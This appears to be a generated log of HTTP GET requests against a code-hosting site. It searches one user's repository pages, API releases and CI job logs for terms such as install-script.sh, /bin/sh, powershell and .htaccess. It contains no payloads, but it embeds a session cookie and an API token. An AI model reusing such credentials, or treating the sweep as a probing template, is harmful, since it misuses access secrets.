{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
